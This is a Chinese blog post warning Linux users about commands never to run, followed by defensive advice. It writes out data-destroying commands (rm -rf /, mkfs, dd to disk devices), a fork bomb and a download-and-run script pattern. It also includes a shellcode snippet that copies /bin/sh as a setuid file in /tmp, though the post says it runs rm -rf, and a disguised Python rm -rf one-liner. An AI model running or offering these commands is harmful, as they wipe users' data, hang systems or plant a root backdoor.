`
tomhibolu
  • 浏览: 1403089 次
文章分类
社区版块
存档分类
最新评论

千万千万不要运行的Linux命令

 
阅读更多
文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,除非你是在虚拟机上运行(出现问题你可以还原),因为它们会实实在在的破坏你的系统。所以不在root等高级管理权限下执行命令是很好的习惯。
早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在 Linux 给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭 都来不及。
这并不是说明 Linux 不安全,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。
下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。
sudo rm -rf / 删除根分区全部的文件
sudo rm -rf . 删除当前目录下的所有文件
sudo rm -rf * 同上
rm -rf * or rm -rf *.* 同上
rm -rf ~ / & 删除根分区和家目录,即使你不是root,家目录还是不能幸免。

同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:
sudo mkfs.xxxx

dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。
sudo dd if=/dev/zero of=/dev/sda 全部硬盘清零。
sudo dd if=/dev/sda of=/dev/sdb 用第一块硬盘的内容覆盖第二块的内容。
sudo dd if=something of=/dev/sda 往硬盘上写垃圾数据。

同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:
any_command > /dev/sda 用随意的数据破坏硬盘

上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。
fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:
:(){:|:&};:

这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:
fork while fork

有的时候,压缩包也是一个破坏来源~
有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。
有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。
从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:
wget [url]http://some_place/some_file[/url]
sh ./some_file
wget [url]http://hax018r.org/malicious-script[/url]
sh ./malicious-script

载脚本要确保来源正规,如果有能力,可以阅读其代码。
即使有源代码的程序,也不要随便编译执行:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是“rm -rf ~ / & ”。
python 一类的脚本语言,同样可以拿来搞破坏:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'

这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf * 每个字母的下一个!
那么我们如何避免运行恶意程序呢?
第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。
第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。
第三要保证软件、脚本的来源正规。
最后一点,虽然比较消极,但是确实十分重要的一点:
经常备份你的数据!!
分享到:
评论

相关推荐

    永远不要运行的危险Linux命令

    Linux命令 永远不要运行的危险Linux命令

    linux定时运行命令

    linux定时运行命令 linux定时运行命令 linux定时运行命令

    Linux后台运行命令

    ### Linux后台运行命令详解 #### 一、引言 在Linux操作系统中,用户可以通过各种方式启动后台任务。本文将重点介绍几种常用的Linux后台运行命令,包括快捷键方式以及`cron`和`crontab`命令的详细使用方法。这两种...

    Linux下千万千万不要运行的命令.pdf

    在Linux操作系统中,有一些命令因其强大...不熟悉Linux命令的用户尤其需要注意,不要随意尝试执行未知或不理解的命令,以免造成不可逆的损失。对于初学者,建议在虚拟环境中练习,以便在出错时不会对实际系统造成损害。

    linux命令linux命令linux命令linux命令

    对于开发者来说,了解 Linux 命令尤其重要,因为它们可以帮助调试程序、优化性能和解决运行时问题。 ### GDB (GNU Debugger) GDB 是一个源代码级别的调试工具,用于帮助开发者找出程序中的错误并进行修复。它是 ...

    windows下运行Linux命令

    标题“Windows下运行Linux命令”指的是在Windows操作系统中使用通常在Linux环境中运行的命令行工具。这通常是通过一些工具或模拟器实现的,比如Cygwin或者WSL(Windows Subsystem for Linux)。在这个场景中,我们...

    可以在windows上运行linux命令的批处理文件

    本文将探讨如何在Windows上运行Linux命令,以及提供的批处理文件`linux.bat`、`listdisk.bat`和`window.bat`的作用。 首先,Windows 10引入了Windows Subsystem for Linux (WSL),这是一个可以在Windows上无缝运行...

    linux命令在后台运行

    ### Linux命令在后台运行详解 #### 一、引言 在Linux系统中,有时我们需要运行一些长时间的任务,例如数据处理或脚本执行等。这些任务可能会持续很长时间,而且在这个过程中,用户可能还需要继续使用终端执行其他...

    Linux学习 - 命令运行监测和软件安装

    Linux学习 - 命令运行监测和软件安装 在 Linux 中,命令运行监测和软件安装是两个非常重要的概念。命令运行监测是指监测当前命令的运行时间和资源使用情况,而软件安装则是指在 Linux 系统中安装新的软件包。 命令...

    在window环境下运行linux命令.zip

    在Windows环境中运行Linux命令是一个常见的需求,特别是在开发者和系统管理员的工作中。为了满足这一需求,Microsoft引入了Windows Subsystem for Linux (WSL),它允许用户在Windows 10及更高版本上直接运行Linux...

    linux命令速查手册.pdf

    Linux 命令速查手册 本手册主要介绍了 Linux 命令的使用方法,包括查看命令行历史、使用 alias 命令、history 命令等。下面我们将详细介绍这些命令的使用方法和应用场景。 11.1 查看命令行历史 在 Linux 中,每当...

    在Linux环境下运行DOS命令

    "在Linux环境下运行DOS命令" 在Linux环境下运行DOS命令是指在Linux操作系统中使用DOS命令来访问和管理MSDOS文件系统的能力。Linux系统提供了一组称为mtools的可移植工具,可以让用户轻松地从标准的DOS软盘上读、写...

    运行命令大全运行命令大全运行命令大全

    本资源"运行命令大全"显然是一个集合了多种操作系统常用命令的参考资料,涵盖了Windows、Linux和macOS等系统的命令。 在Windows系统中,"运行"命令通常指的是"运行"对话框,可以通过快捷键`Win + R`打开。这个...

    linux常用命令.doc

    Linux文件的复制、删除和移动命令 Linux目录的创建与删除命令 Linux文本处理命令  Linux备份与压缩命令 在Linux环境下运行DOS命令 Linux与用户有关的命令  Linux系统管理命令 Linux磁盘管理 

    linux命令linux命令大全

    Linux 系统管理的命令是它正常运行的核心,与之前的 DOS 命令类似。Linux 命令在系统中有两种类型:内置 Shell 命令和 Linux 命令。 控制台命令是指通过字符界面输入的可以操作系统的命令,例如 DOS 命令就是控制台...

    Linux 学习手册--linux命令大全

    【Linux学习手册--Linux命令大全】是一份详细阐述Linux操作系统中常用命令的文档,适合初学者及需要深入了解Linux命令的用户。文档涵盖了多个基础且重要的命令,如`cd`、`chmod`和`locate`,旨在帮助用户更好地管理...

    windows下运行linux命令的程序包

    标题中的“windows下运行linux命令的程序包”指的是在Windows操作系统中使用Linux命令的解决方案。这通常是通过模拟Linux环境或者引入兼容Linux命令的工具来实现的。这样的工具允许Windows用户在DOS命令提示符中执行...

    Linux启动过程、运行级别及相关命令

    Linux系统管理是IT运维中的...总的来说,了解Linux启动过程和运行级别,以及如何使用相关命令进行管理,对于日常的系统维护和问题排查至关重要。这些知识不仅帮助我们更好地理解系统行为,也能提高故障排除和优化效率。

Global site tag (gtag.js) - Google Analytics